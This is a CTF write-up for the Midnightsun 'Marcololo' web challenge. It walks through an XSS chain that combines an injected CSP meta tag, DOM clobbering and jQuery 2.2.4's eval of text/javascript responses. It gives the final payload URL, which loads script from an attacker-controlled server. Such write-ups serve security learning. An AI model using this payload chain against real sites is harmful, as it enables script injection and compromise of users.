This weekend, Midnightsun CTF Finals took place, a really funny CTF in Stockholm, a lovely place to visit.

Marcololo task had the following statement:

How slow is your metabolism?
Service: http://marcololo-01.play.midnightsunctf.se:3001
Author: avlidienbrunn

When accesing the challenge website, the following form was shown:

initial_form

So it seems we need to submit a URL that triggers an alert(1) using XSS to to this form. Also, it indicates us where the actual challenge is, at ```http://marcololo-01.play.midnightsunctf.se:3001/marcololo?input=marcololo``

This webpage returned the following HTTP response:

HTTP/1.1 200 OK
X-Powered-By: Express
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
Content-Length: 390
ETag: W/"186-zb58dqJWgRpwGL9cKYBdnemMbKQ"
Date: Sun, 16 Jun 2019 16:16:25 GMT
Connection: close


<head>
  <meta charset="UTF-8">
  <link rel="stylesheet" href="/static/style.css" />
  <meta property="og:title" content="marcololo">
  <script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>
  <script src="/api/getuser"></script>
</head>

<script>

if(user.name == "admin"){
  $.get(location.hash.slice(1));
}else{
  document.write("u are not admin, fak off");
}

</script>

As you can see, if user.name == admin condition returns true, then, $.get(location.hash.slice(1)) will be executed. This user.name object, came from <script src="/api/getuser"></script>, this javascript just returned an object with the following attributes: user = {"id":"-1", "name": "guest", "type": "guest"}, location.hash.slice(1) is the first string before “#” element on the URL.

But where’s the XSS here?

Ok, if you see, the input parameter is being reflected, but unfortunetly, <,> and / characters are filtered on the response, so simply injecting "><script>...</script> will not work.

There needs to be another path… Did you notice that jQuery version?, 2.2.4 seems a bit old right? Yes, and it has an XSS vulnerability! Bingo!. On jQuery 2.2.4, if a user GET a resource and the Content-Type response header is text/javascript, jQuery will simply eval the response as javascript, I developed a quick dummy TCP server that always returns:

HTTP/1.0 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *

alert(1)

I tested it on Chrome’s console, doing $.get("http://<my-server-ip>:<my-server-port>"), and it worked!! XSS executed!!

Well, first problem seems to be solved, now we know how to trigger an XSS. But not that fast, now we need to figure out how to bypass that user.name == admin check.

If you rememeber, we can reflect on the content= attribute of the <meta> tag, so: How about injecting other meta attributes? Like, for expample, http-equiv which will let us to mimic a response header. At first, we think that maybe abusing XSS Auditor on filter mode (the default mode on latest Chrome browser versions) could help us on filtering the <script src="/api/getuser"></script> so we tried to inject 1" http-equiv="X-XSS-Protection" p=", but it doesn’t work, as the server was already setting an X-XSS-Protection header, an headers always overwrite http-quiv meta tag attribute.

Then, I realized that injecting a CSP policy constraining current domain scripts but allowing .jquery.com ones, could prevent <script src="/api/getuser"></script> from loading, but jqeury will be allowed. Also, inline scripts and eval should be allowed, as jQuery bug is triggered beacuse an eval function. Injecting the following CSP header on the meta tag should do the job: default-src 'unsafe-eval' 'unsafe-inline' *.jquery.com "<my-server-ip>:<my-server-port>" http-equiv="Content-Security-Policy. This worked!! Now Chrome is preventing <script src="/api/getuser"></script>to load, as it comes from http://marcololo-01.play.midnightsunctf.se:3001 and CSP doesn’t allow this URL and also, doesn’t explicity allow 'self'.

But now, user.name doesn’t exists, as this object is not loaded anymore. This can be workarounded using the old friend, Dom Clobbering. If we also inject id=name name=admin on the <meta> tag, javascript will be able to access user.name attribute, and it will be admin!!

We tested it and boom! It worked!!!

The final URL (without urlencode for legibility) is:

http://marcololo-01.play.midnightsunctf.se:3001/marcololo?input=default-src 'unsafe-eval' 'unsafe-inline' *.jquery.com <my-server-ip>:<my-server-port>" http-equiv="Content-Security-Policy" id=user name=admin p="#http://<my-server-ip>:<my-server-port>/

When submitting the flag on the initial form, it shows us the flag.

Thanks to @avlidienbrunn for the challenge and kudos to ID-10-T team for being such a great people.